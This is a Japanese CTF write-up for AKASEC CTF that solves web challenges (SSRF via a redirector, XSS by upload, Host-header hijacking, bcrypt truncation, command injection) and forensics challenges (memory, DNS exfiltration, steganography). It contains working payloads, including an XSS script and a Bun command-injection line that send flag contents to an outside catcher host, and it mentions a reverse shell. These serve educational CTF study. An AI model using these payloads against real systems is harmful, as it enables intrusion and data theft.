https://ctftime.org/event/2222
- [Web] Proxy For Life
- [Web] Upload
- [Web] HackerCommunity
- [Web] Rusty Road 解けなかった
- [Web] HackerNickName 解けなかった
- [Forensics] Portugal
- [Forensics] Sussy
- [Forensics] Snooz
[Web] Proxy For Life
ソースコード有り。フラグを確認するとここにある。
func flagHandler(w http.ResponseWriter, r *http.Request) { args := os.Args flag := args[1] if 1 == 0 { // can you beat this :) !? fmt.Fprint(w, flag) } else { fmt.Fprint(w, "Nahhhhhhh") } }
これはさすがに突破できないか笑…特筆すべき所として、引数でフラグが与えられているのがやや珍しい。他を見てみる。
func indexHandler(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodPost { config := safeurl.GetConfigBuilder(). Build() client := safeurl.Client(config) url := r.FormValue("url") _, err := client.Get(url) if err != nil { renderTemplate(w, "index", map[string]string{"error": "The URL you entered is dangerous and not allowed."}) fmt.Println(err) return } resp, err := http.Get(url) if err != nil { fmt.Println(err) return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) renderTemplate(w, "index", map[string]interface{}{"result": template.HTML(body)}) return } renderTemplate(w, "index", nil) }
safeurlを使ってurlを検証して使っている。公式サイトの使い方を見るとclient.Get
で内容を取得して使用することができるのだが、それは使わず、検証後はhttp.Get
を使ってurlを開いている。この差が気になるので色々考えると、DNS Rebindingのような回避方法を思いつく。リダイレクタを用意して、その応答を「何もしない200応答」と「本当にアクセスしたい先に302応答でリダイレクト」に交互に返すようにすれば、client.Get(url)
による検証時は「何もしない200応答」で検証を回避でき、2回目のhttp.Get(url)
で使うときは、本当にアクセスしたい先を使うことができる。
問題はどこにアクセスさせるかであるが、file://
は使えないので代わりを探す必要がある。コードを見返すとimportで_ "net/http/pprof"
というのが定義されていた。公式ドキュメントを見ると、エンドポイントが追加されるみたい。/debug/pprof/
にアクセスしてみると色々出てきた。cmdlineが使えそうなので、/debug/pprof/cmdline?debug=1
にアクセスするとフラグ獲得。直接アクセスすることができてしまったが、恐らく上のリダイレクタを使って内部から読み込むのが想定なのだろう。
想像する想定解では以下を動かして交互にリダイレクト先を入れ替えるリダイレクタを使うことで、検証を回避し、pprofのcmdlineを取得する。
const express = require('express') const app = express() const port = 3000 let switchFlag = 0; app.get('/', (req, res) => { if (switchFlag == 0) { res.send('Hello World!'); switchFlag = 1; } else { res.redirect('http://localhost:1337/debug/pprof/cmdline'); switchFlag = 0; } }); app.listen(port, () => { console.log(`Example app listening on port ${port}`) });
npm i express
してnode redirector.js
で起動、/opt/ngrok http 3000
でngrok用意して、URLを渡せばフラグが得られる。
[Web] Upload
ソースコード有り。admin botも与えられている。フラグの場所を確認すると以下にあった。admin botでGET /flag
をした結果を取得するとフラグが手に入る。
app.get('/flag', (req, res) => { let ip = req.connection.remoteAddress; if (ip === '127.0.0.1') { res.json({ flag: 'AKASEC{FAKE_FLAG}' }); } else { res.status(403).json({ error: 'Access denied' }); } });
XSSを探すとアップロード機能が悪用でき、XSSにつなげることができた。アップロードでは以下のようにPDFファイルのみを受け付ける検証が入っていた。
const upload = multer({ storage: storage, fileFilter: (req, file, cb) => { if (file.mimetype == "application/pdf") { cb(null, true); } else { cb(null, false); return cb(new Error('Only .pdf format allowed!')); } } });
しかし、この部分はRequestのContent-Typeを見ているだけなので、中身が何であれ、このmimetypeを指定してやれば検証は通すことができる。よって、ログイン後、以下のようにHTMLファイルをアップロードしてやろう。
POST /upload HTTP/2 Host: [redacted].app Cookie: connect.sid=s%3AoMaH-YDrFmRRDmGhyR80uCYrW6GV8cHt.mgcA5DsSrbFv91Wb5cg5ejn1YOhWrl1YVaiTF4WSr5U Content-Length: 366 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBy4h95YFuD8HRi9f ------WebKitFormBoundaryBy4h95YFuD8HRi9f Content-Disposition: form-data; name="file"; filename="fsdkasjireajkfsadjirejrk.html" Content-Type: application/pdf <script>fetch('/flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/post', { method : 'post', body: e })})</script> ------WebKitFormBoundaryBy4h95YFuD8HRi9f--
すると/view/file-1717850909954.html
みたいな感じでリダイレクトされるが、view経由では発動しないので直接開く。/uploads/file-1717850909954.html
とするとXSS発動する。これをadmin botに送ればフラグ獲得。想定解はCVE-2024-4367でXSSする。
[Web] HackerCommunity
ソースコード有り。rubyのアプリケーションが与えられる。ファイル量は多いが読むべきファイルはそれほど多くない。フラグの場所はusers_controller.rbにある。
class UsersController < ApplicationController before_action :restrict_access def latest @users = User.order(created_at: :desc).limit(10) render json: @users end def flag render plain: File.open("/rails/flag.txt").read end private def restrict_access render plain: "Access Denied", status: :forbidden unless request.env['REMOTE_ADDR'] == '127.0.0.1' end end
これはroutes.rbより/flag
で到達可能であることが分かる。実際に行ってみると、Access Denied
と言われた。これも以下に書いてあるフィルタリングが効いているからで、127.0.0.1からアクセスしないと開くことができない。これをうまくやれそうな所を探すと、home_controller.rbが気になる。
class HomeController < ApplicationController def index if session[:user_id] @username = User.find_by(id: session[:user_id]).username if User.find_by(id: session[:user_id]).admin? begin response = HTTP.follow.get(users_latest_url) @users = JSON.parse(response.body) rescue Exception => e render plain: "Error: #{e}", status: 500 end else @users = User.order(created_at: :desc).limit(5).as_json end else redirect_to(join_url) end end end
まずは、adminであるユーザーを作り出す必要がある。join_controller.rbを見ると、入力が直接入れ込まれている。
class JoinController < ApplicationController def index redirect_to home_path if session[:user_id] end def create redirect_to home_path if session[:user_id] begin @user = User.new(user_params) if @user.save session[:user_id] = @user.id redirect_to home_path else render :index end rescue ActiveModel::UnknownAttributeError => e render plain: e, status: :forbidden end end private def user_params params.delete_if {|k,v| !k.is_a?(String) || !v.is_a?(String) || !k.ascii_only? || ["authenticity_token", "controller", "action", "admin"].include?(k)}.permit! end end
これをみるとadmin=1
みたいなものを入れればよさそうだが、user_params内部のフィルタリングで弾かれてしまう。どうしようかなーと考えていたが、log/development.log
というファイルにadmin(1i)=1
という感じに試しているログが見つかり、実際にやってみると成功する。discordを見るとこれは出題ミスらしい。これを1から見つけるのは結構きついというか、ここがこの問題の最難関な気もするが…とりあえずadmin権限を取得した。これはmultiparameterというものらしい。
response = HTTP.follow.get(users_latest_url)
とあるが、これはヘルパーメソッドが効いていて/users/latest
を指している。ここを乗っ取りたいな…と思いアイデアを試すとHostヘッダーの書き換えでホスト部分がハイジャックできることが分かった。
GET /home HTTP/1.1 Host: [yours].requestcatcher.com Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D Connection: keep-alive
こんな感じでHost部分を変更してアクセスしてやると、requestcatcherでアクセスを受信した。ok。リダイレクトで/flag
に飛ぶようにしてやろう。このように用意してnpm i express
してnode redirector.js
で起動、/opt/ngrok http 3000
でngrok用意する。
const express = require('express') const app = express() const port = 3000 app.get('/users/latest', (req, res) => { res.redirect('http://localhost:3000/flag'); }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
ngrokのエンドポイントを使って以下のようにリクエストしてやるとエラー経由でフラグを取得することができる。
GET /home HTTP/1.1 Host: 48eb-2-56-252-141.ngrok-free.app Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D Connection: keep-alive
とするとError: unexpected token at 'AKASEC{■■■■■■■■■■■■■■■}'
と応答がある。
[Web] Rusty Road 解けなかった
ソースコード有り。どう見ても以下の処理が怪しいが、攻撃方法が分からない…
static ref PASSWORD: String = "REDACTED".to_string(); … fn subs(input: String) -> String { input.replace("PASSWORD", &PASSWORD) } … #[post("/register", data = "<form>")] fn register(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect { let username = subs(form.username.clone()); if username.contains("admin") || username.contains(PASSWORD.as_str()) { return Redirect::to("/register"); } let password = subs(form.password.clone()); let password = hash_password(&password); println!("{:?}, {:?}", username, password); add_user(&username, &password); let claims = Claims { username: form.username.clone(), user_type: "user".to_string(), exp: 10000000000, }; let token = encode(&Header::default(), &claims, &EncodingKey::from_secret(SECRET.as_ref())).unwrap(); cookies.add(Cookie::new("token", token.clone())); Redirect::to("/") }
さっぱり分からん… コンテスト終了後、discordで以下の投稿を見つける。
bcrypt truncation + RCE using {'raw': 'asdf && node_reverse_shell | bun run - '}
bcrypt truncation 😊
bcrypt truncationを使って管理者パスワードを特定する。
use bcrypt::{hash, verify, DEFAULT_COST}; fn hash_password(password: &str) -> String { hash(password, DEFAULT_COST).unwrap() }
以上のようにbcryptでパスワードをハッシュ化している。bcryptは72bytesを超えると72bytesに丸められる制約があり、これを使って管理者パスワードを特定する。register関数の実装を見ると、PASSWORD
の文字列が入っていると管理者パスワードに書き換えられる。ここで'a'*71+'PASSWORD'
というパスワードを入力すると、'a'*71+(管理者パスワード)
に書き変わり、この状態でbcryptに通すと72bytes制限に引っ掛かり、実際のハッシュ化は'a'*71+(管理者パスワードの1文字目)
となる。この状態でユーザーを作った後、パスワードを'a'*71+(任意の文字)
で全探索し、ログインできるものを探せば管理者パスワードの1文字目を特定することができる。以下のようなスクリプトでパスワードの特定が可能。
import requests, random, string BASE = 'http://localhost:1337' admin_password = '' for _ in range(10): username = "".join(random.choices(string.ascii_letters, k=8)) password = 'a'*(71 - len(admin_password)) + 'PASSWORD' requests.post(BASE + '/register', data={'username':username, 'password':password}) ok = False for c in string.printable: chall = 'a'*(71 - len(admin_password)) + admin_password + c loc = requests.post(BASE + '/login', data={'username':username, 'password':chall}, allow_redirects=False).headers.get('Location') if loc == '/': admin_password += c break print(admin_password)
コマンドインジェクション(うまくいってないけど…)
管理者パスワードを手に入れた後は以下のエンドポイントを使い、バックエンドにアクセスする。
#[post("/log", format = "json", data = "<log_data>")] async fn admin_log(cookies: &CookieJar<'_>, log_data: Json<Value>) -> Json<String> { let token = cookies.get("token").map(|cookie| cookie.value()).unwrap_or(""); match validate_token(token) { Ok(data) => { if data.claims.user_type == "admin" { let client = reqwest::Client::new(); let res = client.post("http://adminlogging:3000/log") .header(header::AUTHORIZATION, API_KEY.as_str()) .json(&log_data.into_inner()) .send() .await .expect("Failed to send request"); if res.status().is_success() { Json("{ \"status\": \"Logged successfully\" }".to_string()) } else { Json("{ \"status\": \"Failed to log\" }".to_string()) } } else { Json("{ \"status\": \"Access Denied\" }".to_string()) } }, Err(_) => Json("{ \"status\": \"Unauthorized\" }".to_string()), } }
バックエンドはBunで動いており、以下にコマンドインジェクションポイントがある。
if (url.pathname === "/log") { await $`logger ${body.message}`; return new Response("Logged!", { status: 200 }); }
単純なコマンドインジェクションだが、環境にcurlもwgetもないので、色々頑張る必要がある。discordで見た解法ではRCE using {'raw': 'asdf && node_reverse_shell | bun run - '}
のように入っているbunを活用している。
{"message": "&& echo 'const response = await fetch(\"https://[yours].requestcatcher.com/\" + require(\"fs\").readFileSync(\"/flag.txt\").toString(\"utf8\"));' | bun run - "}
これを送ればうまくいきそうだが、成功しない。分からんけど、眠すぎるので一旦ここでストップ。
[Web] HackerNickName 解けなかった
ソースコード有り。javaで作られたサイトが与えられる。復習すると初見の技術があってすごく良かった。解いた人の解説はこことかこことかを見るといい。
@JacksonInjectに"": {"admin": True}
で外部から差し込む
@JsonCreator public Hacker(@JsonProperty(value = "firstName", required = true) String firstName, @JsonProperty(value = "lastName", required = true) String lastName, @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory, @JacksonInject UserRole hackerRole) { this.firstName = firstName; this.lastName = lastName; this.favouriteCategory = favouriteCategory; this.role = hackerRole; }
こういう定義になっていてhackerRoleは外部から差し込めないのが想定だが、"": {"admin": True}
とkeyを空文字列にすれば差し込める。
curlのURL globbingを使ったフィルター回避
なんと、curlのURL globbingを使えば以下をうまく回避しながら任意のホストに接続が可能。
URL parsedUrl; try { parsedUrl = new URL(url); } catch (MalformedURLException e) { return ResponseEntity.status(401).body(e.getMessage()); } if (!parsedUrl.getProtocol().equals("http") || !parsedUrl.getHost().equals("nicknameservice") || parsedUrl.getPort() != 5000) return ResponseEntity.status(401).body("Invalid URL"); ProcessBuilder pb = new ProcessBuilder("curl", "-f", url, "-o", nicknameService.filePath.toString());
[Forensics] Portugal
メモリダンプが与えられる。stringsコマンドをして眺めるとWindows向けのようだ。Volatility 3を使って色々探索してみる。
$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.pstree … 464 404 winlogon.exe 0x8f289c40 7 - 1 False 2024-05-28 10:35:35.000000 N/A * 720 464 dwm.exe 0x8f369040 13 - 1 False 2024-05-28 10:35:35.000000 N/A * 2160 464 userinit.exe 0x9a0b2040 0 - 1 False 2024-05-28 10:35:37.000000 2024-05-28 10:36:04.000000 ** 2228 2160 explorer.exe 0x87a0ec40 64 - 1 False 2024-05-28 10:35:37.000000 N/A *** 800 2228 FTK Imager.exe 0x8f213c00 22 - 1 False 2024-05-28 10:35:55.000000 N/A *** 1240 2228 chrome.exe 0x9d7d7c40 40 - 1 False 2024-05-28 10:35:56.000000 N/A **** 4900 1240 chrome.exe 0x815e66c0 15 - 1 False 2024-05-28 10:36:15.000000 N/A **** 4104 1240 chrome.exe 0x89928480 16 - 1 False 2024-05-28 10:35:58.000000 N/A **** 4968 1240 chrome.exe 0x9d63e040 15 - 1 False 2024-05-28 10:36:16.000000 N/A **** 2316 1240 chrome.exe 0x9d787340 14 - 1 False 2024-05-28 10:35:58.000000 N/A **** 4112 1240 chrome.exe 0x9d7df900 7 - 1 False 2024-05-28 10:35:58.000000 N/A **** 4752 1240 chrome.exe 0x9d7df300 7 - 1 False 2024-05-28 10:36:03.000000 N/A **** 1272 1240 chrome.exe 0xa2ec2840 8 - 1 False 2024-05-28 10:35:56.000000 N/A *** 728 2228 OneDrive.exe 0xa2e47c40 22 - 1 False 2024-05-28 10:35:55.000000 N/A
chromeが動いている。問題文にI'm sure that someone took advantage of the opportunity and was searching for something.
ともあるのでブラウザフォレンジックしてみる。Historyファイルあるかなーと探すとある。
$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.filescan … 0x81595680 \Users\d33znu75\AppData\Local\Google\Chrome\User Data\Default\History 128 … $ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.dumpfiles --virtaddr 0x81595680 Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0x81595680 History file.0x81595680.0x98570f60.DataSectionObject.History.dat SharedCacheMap 0x81595680 History file.0x81595680.0xa2ee6968.SharedCacheMap.History.vacb
sqlitebrowserで開こうとするがうまく開けない。stringsコマンドを使って眺めてみると良い感じの履歴か何かが見つかる。
18- h_) 21- 0r( 19- h1' 20- st& 22- y}% 17- rc$ look !! its here yay* 16- 34 15- _s 14- m3 13- r0 12- ch 11- r_ 10- f0 9- Y_ 8- 1T 7- 1L 6- 4T 5- 0L 4- {V 3- EC 2- AS 1- AK …
眺めるとこういう感じの履歴が残っていて、1からつなぐとAKASEC{V
のようにフラグっぽくなってきた。これを全部収集してつなげるとフラグが得られる。
[Forensics] Sussy
パケットキャプチャが与えられる。DNSを眺めるとakasec.ma
のサブドメインでhex列が埋め込まれた通信が大量に出ている。
サブドメインの形で情報漏洩している感じがする。
"3","172.20.10.1","53","172.20.10.3","60691","DNS","170","","","377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma","Standard query response 0x9fb3 No such name AAAA 377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma SOA c.tld.ma" "32","172.20.10.1","53","172.20.10.3","60637","DNS","170","","","000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma","Standard query response 0x4daa No such name AAAA 000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma SOA c.tld.ma" "199","172.20.10.1","53","172.20.10.3","40079","DNS","170","","","70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma","Standard query response 0xdc15 No such name AAAA 70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma SOA c.tld.ma" "310","172.20.10.1","53","172.20.10.3","47170","DNS","170","","","3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma","Standard query response 0xfabe No such name AAAA 3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma SOA c.tld.ma" "586","172.20.10.1","53","172.20.10.3","54434","DNS","170","","","9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma","Standard query response 0x0507 No such name AAAA 9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma SOA c.tld.ma"
時系列順に全部持って来きて、Hex to binすると7zip形式の圧縮ファイルだった。解凍しようとするが暗号化されている。john the ripperとrockyouでクラック可能。
$ 7z2john encoded.bin > h ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes $ john --wordlist=/usr/share/wordlists/rockyou.txt h Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 5 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Cost 4 (data length) is 13035 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hellokitty (encoded.bin) 1g 0:00:00:02 DONE (2024-06-08 17:25) 0.4166g/s 106.6p/s 106.6c/s 106.6C/s carolina..freedom Use the "--show" option to display all of the cracked passwords reliably Session completed.
解凍するとflagというPDFファイルが入っている。これもパスワードがかかっている。これも同様にjohn the ripperとrockyouでクラック可能。
$ pdf2john flag > h2 $ john --wordlist=/usr/share/wordlists/rockyou.txt h2 Using default input encoding: UTF-8 Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64]) Cost 1 (revision) is 3 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status meow (flag) 1g 0:00:00:00 DONE (2024-06-08 17:26) 3.846g/s 124061p/s 124061c/s 124061C/s nuria..bheibhie Use the "--show --format=PDF" options to display all of the cracked passwords reliably Session completed.
これで開くとフラグが書いてある。
[Forensics] Snooz
メモリダンプとパケットキャプチャが与えられる。まずは、メモリダンプをstringsするとWindowsのものであることが分かるので、Volatility3で解析を回して眺める。
windows.netscan 0xa384284931d0 TCPv4 0.0.0.0 1337 0.0.0.0 0 LISTENING 3200 snooz.exe 2024-06-03 05:57:13.000000 windows.pstree * 3264 612 userinit.exe 0xa38427e78300 0 - 1 False 2024-06-03 05:52:34.000000 2024-06-03 05:53:02.000000 ** 3320 3264 explorer.exe 0xa38427da5080 56 - 1 False 2024-06-03 05:52:34.000000 N/A *** 4512 3320 cmd.exe 0xa38427f52080 1 - 1 False 2024-06-03 05:56:47.000000 N/A **** 80 4512 conhost.exe 0xa38428f61080 5 - 1 False 2024-06-03 05:56:47.000000 N/A **** 3200 4512 snooz.exe 0xa3842881f2c0 3 - 1 False 2024-06-03 05:57:13.000000 N/A *** 5496 3320 Taskmgr.exe 0xa384290384c0 0 - 1 False 2024-06-03 05:58:50.000000 2024-06-03 05:59:17.000000 **** 3276 5496 FTK Imager.exe 0xa3842257e4c0 19 - 1 True 2024-06-03 05:59:06.000000 N/A *** 5812 3320 OneDrive.exe 0xa38428db23c0 21 - 1 False 2024-06-03 05:52:59.000000 N/A *** 5844 3320 msedge.exe 0xa38428dd4080 42 - 1 False 2024-06-03 05:52:59.000000 N/A **** 3040 5844 msedge.exe 0xa38428fd1080 15 - 1 False 2024-06-03 05:53:05.000000 N/A **** 2872 5844 msedge.exe 0xa38428bea080 8 - 1 False 2024-06-03 05:53:06.000000 N/A **** 5924 5844 msedge.exe 0xa38428c514c0 7 - 1 False 2024-06-03 05:53:02.000000 N/A **** 76 5844 msedge.exe 0xa38428c450c0 17 - 1 False 2024-06-03 05:53:05.000000 N/A *** 5716 3320 SecurityHealth 0xa38428db0340 1 - 1 False 2024-06-03 05:52:58.000000 N/A *** 3608 3320 notepad.exe 0xa38425842340 1 - 1 False 2024-06-03 05:55:17.000000 N/A
とりあえず、snooz.exeというのが動いていて1337でリッスンしている。パケットキャプチャを見てみると、1337/tcpへ接続している通信ログから攻撃者のIPアドレスは192.168.117.10
であることが分かる。被害者端末は192.168.117.12
。ip.addr == 192.168.117.10
でフィルターをかけて眺めてみよう。
JST Jun 3, 2024 21:19:42 | No.18 | VictimからAttacker:8000宛に`GET /`。ディレクトリリスティング応答がある。攻撃者が既に侵入済みで追加データを持ってくるためだろう Jun 3, 2024 21:19:52 | No.47 | VictimからAttacker:8000宛に`GET /download.dat`。base64エンコードされた何かを返している。 Jun 3, 2024 21:22:07 | No.119 | AttackerからVictim:1337へ通信が発生 (1) Jun 3, 2024 21:22:56 | No.158 | AttackerからVictim:1337へ通信が発生 (2) Jun 3, 2024 21:23:19 | No.182 | VictimからAttacker:8000宛に`GET /Win64OpenSSL_Light-3_3_0.exe` Jun 3, 2024 21:23:22 | No.5452 | VictimからAttacker:8000宛に`GET /Shaw%20Z.%20-%20Learn%20Python%20the%20hard%20way-lulu.com%20%282010%29.pdf` Jun 3, 2024 21:23:53 | No.6365 | AttackerからVictim:1337へ通信が発生 (3) Jun 3, 2024 21:25:19 | No.6402 | AttackerからVictim:1337へ通信が発生 (4) Jun 3, 2024 21:25:46 | No.6420 | AttackerからVictim:1337へ通信が発生 (5)
こんな感じになっていた。download.dat
を持ってきて、base64デコードするとfileコマンドでPE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
となるバイナリが得られた。Monoであることを感謝しつつ、dnSpyで開く。snooz.exeだった。難読化されているのでコツコツ戻していったが、受け取った文字列を復号化してConsole.WriteLine
で出力しているだけだったので、実際に動かして復号化することにした。
AttackerからVictim:1337へ通信が発生 (1) 00000000 12 c6 b9 ac fc 4f 81 81 0d d2 1f 65 2b bf d6 af .....O.. ...e+... -> echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337 -> Error AttackerからVictim:1337へ通信が発生 (2) 00000000 12 c6 b9 ac fc 4f 81 81 0d d2 1f 65 2b bf d6 af .....O.. ...e+... -> echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337 -> Error AttackerからVictim:1337へ通信が発生 (3) 00000000 6f 31 71 b1 be 6a e8 6b 05 8c be e8 88 7f 29 a3 o1q..j.k ......). -> echo -n -e "\x6f\x31\x71\xb1\xbe\x6a\xe8\x6b\x05\x8c\xbe\xe8\x88\x7f\x29\xa3" | nc 169.254.182.151 1337 -> Decrypted message: Yo snooz AttackerからVictim:1337へ通信が発生 (4) 00000000 61 d2 1e f8 f1 2f f0 59 4c 4d 21 7a 3f ee f8 a7 a..../.Y LM!z?... 00000010 d9 93 e4 c7 bb 1f ea 53 1a f0 e6 25 9c 4b 46 66 .......S ...%.KFf 00000020 29 e8 91 09 ed 1d 5b a3 f3 53 4d ac c1 71 26 66 ).....[. .SM..q&f 00000030 13 ae 8d 24 b7 3b ef 16 42 6d 07 9d d1 d6 30 01 ...$.;.. Bm....0. 00000040 18 99 96 2b d6 e1 cf 2e 57 4e bc e9 cc 22 4f 62 ...+.... WN..."Ob 00000050 6f c5 8f ea 72 ad d0 be 45 4a b6 29 4f e2 df 11 o...r... EJ.)O... 00000060 9c ce 12 84 44 0e 40 9f c0 7a a4 82 de 82 a1 b2 ....D.@. .z...... -> echo -n -e "\x61\xd2\x1e\xf8\xf1\x2f\xf0\x59\x4c\x4d\x21\x7a\x3f\xee\xf8\xa7\xd9\x93\xe4\xc7\xbb\x1f\xea\x53\x1a\xf0\xe6\x25\x9c\x4b\x46\x66\x29\xe8\x91\x09\xed\x1d\x5b\xa3\xf3\x53\x4d\xac\xc1\x71\x26\x66\x13\xae\x8d\x24\xb7\x3b\xef\x16\x42\x6d\x07\x9d\xd1\xd6\x30\x01\x18\x99\x96\x2b\xd6\xe1\xcf\x2e\x57\x4e\xbc\xe9\xcc\x22\x4f\x62\x6f\xc5\x8f\xea\x72\xad\xd0\xbe\x45\x4a\xb6\x29\x4f\xe2\xdf\x11\x9c\xce\x12\x84\x44\x0e\x40\x9f\xc0\x7a\xa4\x82\xde\x82\xa1\xb2" | nc 169.254.182.151 1337 -> Decrypted message: Got the new pass to open the pastecode. It's 5n00zm3m3rbr0z now. Ditch the old one. Keep it on the down-low. AttackerからVictim:1337へ通信が発生 (5) 00000000 0e 44 9b 01 33 ee d2 e0 0a 24 05 69 c4 65 0f fa .D..3... .$.i.e.. -> echo -n -e "\x0e\x44\x9b\x01\x33\xee\xd2\xe0\x0a\x24\x05\x69\xc4\x65\x0f\xfa" | nc 169.254.182.151 1337 -> Decrypted message: good luck
んー、5n00zm3m3rbr0z
というパスワードが得られた。pastecodeというのはどこにあるんだろう。メモリダンプにnotepad.exeがあったので、このプロセスメモリを気合で確認すると見つかる。
$ python3 ~/.opt/volatility3/vol.py -f memdump.mem windows.memmap.Memmap --pid 3608 --dump $ strings -e l pid.3608.dmp | grep pastecode https://pastecode.io/s/9oz9u9h4
得られたパスワードを使うと開くことができ、4in6というbase64エンコード物が得られる。base64デコードしてみるとパスワード付きのzipファイルだった。
$ file 4in6.bin 4in6.bin: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
John The Ripperとrockyouでクラックを試すがクラックできない。パスワードどこかに無いか探すと、先ほどのnotepad.exeのメモリダンプに含まれていた。
This is the password for the zip containing all the importante data : Samaqlo@Akasex777
これを使えば解凍可能。flag.jpgを見るがフラグが無い。色々ステガノを頑張るとsteghideとパスワード総当たりでファイルが抽出できた。やっとフラグ獲得。
$ docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek flag.jpg rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "palestine4life" [i] Original filename: "flag.txt". [i] Extracting to "flag.jpg.out". $ cat flag.jpg.out AKASEC{■■■■■■■■■■■■■■■}